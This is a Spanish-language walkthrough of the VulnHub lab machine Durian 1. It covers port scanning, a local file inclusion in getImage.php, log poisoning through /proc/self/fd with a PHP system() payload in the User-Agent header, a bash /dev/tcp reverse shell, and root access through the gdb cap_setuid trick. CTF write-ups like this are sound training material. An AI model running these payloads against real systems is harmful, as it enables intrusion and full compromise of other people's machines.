Durian 1

Walkthrough de la máquina Durian 1 de Vulnhub

Durian 1

Link a VulnHub

En la descripción indica que la máquina es para VM Workstation 15.x Pro. En Proxox tuve problemas ya que no exponía el puerto 80 y en VirtualBox tuve que restablecerla varias veces y asignarle más recursos porque dejaba de funcionar correctamente, por lo que recomiendo hacer un snapshot de la máquina antes de empezar.

Obteniendo la IP de la máquina víctima

Lo primero que vamos a hacer es tratar de descubrir en qué IP está la máquina víctima. Para ello vamos a usar nmap indicádole que queremos hacer un ping scan (-sn) para toda la red en la que nos encontramos actualmente. Si no estamos como usuario root es recomendable usar sudo para obtener información adicional de los equipos que se encuentren en la red:

sudo nmap -sn 10.0.0.1/24

Resultado (relevante):

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:18 CET ... MAC Address: BE:6D:67:8D:E4:46 (Unknown) Nmap scan report for 10.0.0.103 Host is up (0.00082s latency). ...

Nmap nos indica que la IP de la máquina víctima es la siguiente:

  • 10.0.0.103

En caso de que sea una máquina virtual podemos verificarlo comprobando si las direcciones MAC de las tarjetas de red coinciden.

Lo siguiente que vamos a hacer es agregar la IP de la máquina víctima a nuestro /etc/hosts. De esta manera no necesitaremos recordar la IP y podemos usar el nombre que le pongamos. Editamos el fichero /etc/hosts y agregamos la siguiente línea al final del mismo:

10.0.0.103 durian1.ctf

Ahora si hacemos un ping durian1.ctf -c 1 deberíamos obtener la siguiente respuesta:

PING durian1.ctf (10.0.0.103) 56(84) bytes of data. 64 bytes from durian1.ctf (10.0.0.103): icmp_seq=1 ttl=64 time=10.8 ms --- durian1.ctf ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.792/10.792/10.792/0.000 ms

Esto nos confirma que resuelve correctamente el hostname que le hemos asignado.

Escaneo de puertos

Una vez que tenemos la IP de la máquina víctima, lo que vamos a hacer es tratar de detectar los puertos que tiene abiertos. Para ello vamos a lanzar otro escaneo con nmap contra todo el rango de puertos (-p-) usando la plantilla de temporizado más rápida (-T5), filtrando por los puertos abiertos (--open), y deshabilitando la resolución de DNS (-n) y el descubrimiento de hosts (-Pn):

nmap -p- -T5 --open -Pn -n durian1.ctf

Resultado:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 16:03 CET Nmap scan report for durian1.ctf (10.0.0.103) Host is up (0.00069s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 7080/tcp open empowerid 8000/tcp open http-alt 8088/tcp open radan-http Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds

De este escaneo obtenemos que los siguientes puertos están abiertos: 22 (SSH), 80 (HTTP), 7080 (EMPOWERID), 8000 (HTTP-ALT), y 8088 (RADAN-HTTP). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV):

nmap -p 22,7080,8000,8088 -sCV durian1.ctf

Resultado relevante (se ha eliminado parte del output):

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 16:05 CET Nmap scan report for durian1.ctf (10.0.0.103) Host is up (0.00038s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 281c64fa9cc3d2d4bb763d3b10e2b125 (RSA) | 256 dab2e17f7c1b58cffd4f74e9236d51d7 (ECDSA) |_ 256 41e10c2bd426e8d371bb9df9615663c0 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Durian 7080/tcp open ssl/empowerid LiteSpeed | http-title: LiteSpeed WebAdmin Console |_Requested resource was https://durian1.ctf:7080/login.php | ssl-cert: Subject: commonName=durian/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US | Not valid before: 2020-09-08T02:05:32 |_Not valid after: 2022-12-07T02:05:32 |_ssl-date: TLS randomness does not represent time |_http-server-header: LiteSpeed | fingerprint-strings: | ... | tls-alpn: | h2 | spdy/3 | spdy/2 |_ http/1.1 8000/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-open-proxy: Proxy might be redirecting requests |_http-title: Durian 8088/tcp open radan-http LiteSpeed |_http-title: Durian |_http-server-header: LiteSpeed | fingerprint-strings: | ... 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== ... ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 110.82 seconds

Del resultado del escaneo más detallado obtenemos lo siguiente:

  • 22/tcp: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  • 80/tcp: HTTP - Apache httpd 2.4.38 ((Debian))
  • 7080/tcp: SSL/EMPOWERID - LiteSpeed
  • 8000/tcp: HTTP - nginx 1.14.2
  • 8088/tcp: RADAN-HTTP - LiteSpeed

Resumiendo el resultado del escaneo:

  • SSH: 22
  • HTTPS: 7080
  • HTTP: 80, 8000 y 8088

Analizando el servicio HTTP (80/TCP)

Ya que tenemos expuesto un servicio HTTP por el puerto 80, lo que vamos a hacer es tratar de ver qué se está exponiendo en ese puerto accediendo a la url http://durian1.ctf en el navegador.

Al acceder vemos que el contenido de la página es únicamente una imágen la cual no está disponible actualmente. Ese recurso está en una URL externa por lo que no podemos hacer nada para ver cuál era su contenido. Como en http://durian1.ctf no encontramos nada interesante, vamos a hacer un ataque de fuerza bruta para descubrir más rutas y archivos.

Para relizar este ataque vamos a usar Gobuster indicándole que quremos listar directorios (dir) contra la IP de la máquina víctima (-u), usando extensiones adicionales (-x), usando un diccionario orientado a listado de directorios (-w), y limitando el número de hilos a 3 (-t):

gobuster dir -u http://durian1.ctf -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 3

Resultado:

=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://durian1.ctf [+] Method: GET [+] Threads: 3 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/03/25 16:22:28 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 765] /blog (Status: 301) [Size: 309] [--> http://durian1.ctf/blog/] /server-status (Status: 403) [Size: 276] /cgi-data (Status: 301) [Size: 313] [--> http://durian1.ctf/cgi-data/] =============================================================== 2023/03/25 16:23:33 Finished ===============================================================

Del escaneo obtenemos que existen 3 rutas más que pueden ser interesantes:

  • /blog: que redirige a /blog/
  • /server-status: al cual no tenemos acceso
  • /cgi-data: que redirige a /cgi-data/

Si intentamos acceder a http://durian1.ctf/blog/ vemos que no nos devuelve ningún contenido. Por el otro lado, si accedemos a http://durian1.ctf/cgi-data/ vemos que tenemos capacidad de directory listing. En este caso vemos que tenemos un script en PHP que se llama getImage.php. Si accedemos a la url http://durian1.ctf/cgi-data/getImage.php y vemos su contenido nos encontramos con lo siguiente (en Firefox podemos ver el contenido poniendo el prefijo view-source: en la URL):

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> /* </?php include $_GET['file']; */ </body> </html>

En el contenido de la respuesta vemos que nos está indicando que el script espera el parámetro file así que vamos a probar a intentar leer algún fichero interesante del sistema. Para ello ponemos en el navegador view-source:http://durian1.ctf/cgi-data/getImage.php?file=/etc/passwd obteniendo el siguiente resultado (relevante):

root:x:0:0:root:/root:/bin/bash ... durian:x:1000:1000:durian,,,:/home/durian:/bin/bash ... mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false

Al parecer se está aconteciendo un LFI (local file inclusion). De la petición anterior obtenemos que existen dos usuarios en el sistema:

  • root
  • durian

Comprometiendo la máquina víctima

Lo siguiente que vamos a intentar es convertir el LFI (local file inclusion) que ya hemos encontrado en una RCE (remote command execution). Una forma común de conseguir esto es mediante log poisoning. El log poisoning consiste en buscar la manera de introducir una instrucción en PHP en un log que podamos interpretar mediante el LFI con PHP (en este caso).

Si intentamos acceder a los ficheros típicos donde se encuentrar logs tanto de autenticación como de Apache veremos que no tenemos acceso a los mismos. Como no sabemos donde se encuentra un log que podamos leer vamos a intentar acceder a él mediante los descriptores de /proc/self/fd/. Para ello vamos a crear un pequeño script en Python que vaya listando todos los descriptores hasta encontrar el descriptor del access log de Apache o algún otro log al que podamos agregar contenido desde fuera de la máquina víctima.

import requests url = "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/" for i in range(10): r = requests.get(url + str(i)); print(f"{i} - {len(r.text)}");

Resultado de la ejecución:

0 - 241 1 - 241 2 - 241 3 - 241 4 - 241 5 - 241 6 - 7789 7 - 241 8 - 2943 9 - 241

Como podemos observar, hay 2 descriptores que tienen más contenido que el resto, el 6 y el 8. Si hacemos curl "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8" podremos comprobar que nos encontramos ante algo parecido al access.log de Apache, en el que podemos ver la ruta de la petición y el user-agent. Como tenemos capacidad de escritura en un log del sistema y su interpretación en PHP podemos conseguir RCE a través del LFI.

Para ello, vamos a hacer una petición al servidor en la que el user-agent es el siguiente:

User-Agent: <?php system($_GET['cmd']); ?>

De esta manera podemos ejecutar el comando que queramos simplemente usando el parámetro cmd. Por ejemplo, si hacemos curl "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8&cmd=id" dentro de los resultados veremos uid=33(www-data) gid=33(www-data) groups=33(www-data). De esta manera confirmamos que tenemos ejecución remota de comandos y que el usuario con el que se está ejecutando Apache es www-data.

Ahora que ya tenemos ejecución remota de comandos (RCE) en la máquina víctima, lo siguiente que podemos hacer es tratar de entablarnos una reverse shell para poder trabajar con más comodidad. Lo primero que hacemos es ponernos escucha en nuestra máquina mediante Netcat:

nc -nlvp 8888

Recibiendo el mensaje de confirmación de que estamos escuchando:

listening on [any] 8888 ...

A continuación, a través de la shell que hemos generado en el servidor ejecutamos un comando para que nos establezca una conexión a nuestro Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.100/8888 0>&1'). Para ello hacemos un url encode del comando y lo pasamos por el parámetro cmd de la url http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8&cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.100/8888%200%3E%261%27 obteniendo el siguiente resultado:

connect to [10.0.0.100] from (UNKNOWN) [10.0.0.103] 49542 bash: cannot set terminal process group (470): Inappropriate ioctl for device bash: no job control in this shell www-data@durian:/var/www/html/cgi-data$

Ahora, para poder tener una shell completamente interactiva, lanzamos una pseudo consola con script /dev/null -c bash, presionamos Ctrl + z y hacemos un tratamiento de la tty con stty raw -echo; fg. Escribimos reset para reiniciar la configuración de la terminal, indicamos xterm como tipo de terminal y exportamos 2 variables de entorno:

  • export TERM=xterm
  • export SHELL=bash

Con esto ya deberíamos poder hacer Ctrl + c para terminar la ejecución de un comando, o Ctrl + l para limpiar la terminal. También podemos ir atrás en el histórico de comandos.

Pivotando al usuario root

Si listamos las capabilities de los binarios del usuario con getcap -r / 2>/dev/null obtenemos el siguiente resultado:

/usr/bin/gdb = cap_setuid+ep /usr/bin/ping = cap_net_raw+ep

Si buscamos en GTFOBins los binarios para los que tenemos capabilities llegamos a la siguiente página sobre GDB. Si bajas a la última sección, a la de Capabilities te indica que puedes obtener un shell privilegiada usando el siguiente comando:

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

En nuestro caso, tenemos que ajustar la ruta de gdb dejando que se resuelva a través del PATH, y cambiando la sh por una bash:

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit

Resultado:

GNU gdb (Debian 8.2.1-2+b3) 8.2.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". root@durian:/# id uid=0(root) gid=33(www-data) groups=33(www-data)

Con esto ya tendríamos acceso como root a la máquina víctima.

Si listamos el contenido del directorio home del usuario root /root encontramos el flag (proof.txt): SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b.